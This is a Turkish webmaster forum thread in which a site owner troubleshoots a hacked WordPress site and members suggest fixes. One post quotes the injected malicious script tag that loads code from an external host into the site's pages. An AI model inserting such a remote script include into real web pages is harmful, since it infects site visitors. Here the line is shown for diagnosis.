• 08-03-2010, 23:34:39
    #10
    ya kaynakta görüyorum, Googlebot gibi Tara yapıyorum oradada görüyom ust.php dosyasının içinde aynı yer buluyom ama o kod yok orada gizli kodmu var ne anlamadım ya
  • 08-03-2010, 23:37:33
    #11
    Üyeliği durduruldu
    wp-config e bakabilirsin. birde şifreli şekilde koyulmuş olabilir.
  • 08-03-2010, 23:54:53
    #12
    yok bulamadım
  • 09-03-2010, 00:04:51
    #13
    jQuery(document).ready(function($) {
    $('a[rel*=facebox]').facebox()
    })
    </script>
    </head><script src=http://bravetools.net/en/mytools.php ></script>
    <body>
    <div id="wrapper">


    kod sitenin bu bölümünde çıkıyo kodun oldugu bölümü boluyom

    jQuery(document).ready(function($) {
    $('a[rel*=facebox]').facebox()
    })
    </script>
    </head>
    <body>
    <div id="wrapper">

    ama gördüğünüz gibi dosyanın içi böyle ama kaynağı görüntülediğimde bu bölüm

    jQuery(document).ready(function($) {
    $('a[rel*=facebox]').facebox()
    })
    </script>
    </head><script src=http://bravetools.net/en/mytools.php ></script>
    <body>
    <div id="wrapper">

    böyle çıkıyo
  • 09-03-2010, 00:09:31
    #14
    dostum yapacağin şey çok basit şimdi plugin e gir ve orada index.php içinde base64 ile başlayan şifrelenmiş kodları göreceksin (eğer görürsen bana özelden ulaş msn den yardımcı olurum)
  • 09-03-2010, 22:33:34
    #15
    tşkler yardımlar için çözdün sonunda
  • 11-03-2010, 00:39:39
    #16
    arkadaşlar sorunu çözdümde 2 gün sonra gene aynısı oldu şimdi başka kod eklenmiş bu kodun siteme girmemesi için ne yapıbilirım şifreleri yeniden değiştim sayaç kodu gecende bana şöyle bir mail göndrmiş

    Alıntı
    22.02.2010 tarihinde Sayyac kodumuzda bulunan sayyac.net adresi google tarafından zararlı
    içerik barındırıldığı gerekçesiyle işaretlenmiştir.
    Bu gün boyunca özellikle google chrome tarafından sayyac.net kodu olan sitelerinize bazı
    kullanıcıların girememiş olması muhtemeldir.
    Bu sorun aynı gün içerisinde çözülmüş ve google tarafından sorunun nedeni ile ilgili henüz
    bir bilgi alınamamıştır.
    Sayyac.com her zaman ücretsiz ve sorunsuz hizmet vermek için siz site sahiplerinin yanında
    olacaktır.
    Lütfen Sayyac.com sayac koduna zararlı kod yerleştiriyor şeklindeki asılsız iddialara kulak
    asmayınız.
    bununla bir ilgisi varmı acaba
  • 11-03-2010, 20:41:58
    #17
    bu tur sorunlarla cok karşılaşıyordum bende 2 gunde bir sitem fişleniyordu googlede birileri acık bulmuş kod koyup duruyorlardı en sonunda admin panelinin ismini değiştirdim değişik isim yazdım işim oldugu zamanlarda tekrar admin.php yapıyorum işimi bitincede admin panelinde tekrar alimehmet.php yapıyorum bunu yapmaya başladıktan sonrada sorunla karşılaşmadık hiç
  • 12-03-2010, 00:17:34
    #18
    taka adlı üyeden alıntı: mesajı görüntüle
    arkadaşlar sorunu çözdümde 2 gün sonra gene aynısı oldu şimdi başka kod eklenmiş bu kodun siteme girmemesi için ne yapıbilirım şifreleri yeniden değiştim sayaç kodu gecende bana şöyle bir mail göndrmiş



    bununla bir ilgisi varmı acaba
    ftp şifreni değiştirerek işe başlayabilirsin. bilgisayarında iframe virüslerinin dağılmasına sebep olan bir virüs olması büyük ihtimal. eset nod 32 smart securty ile tarama yapmanı tavsiye ederim.

    virüsün bulaştığı dosyaların yazılabilrilik ayarlarını 644 yapabilirsin.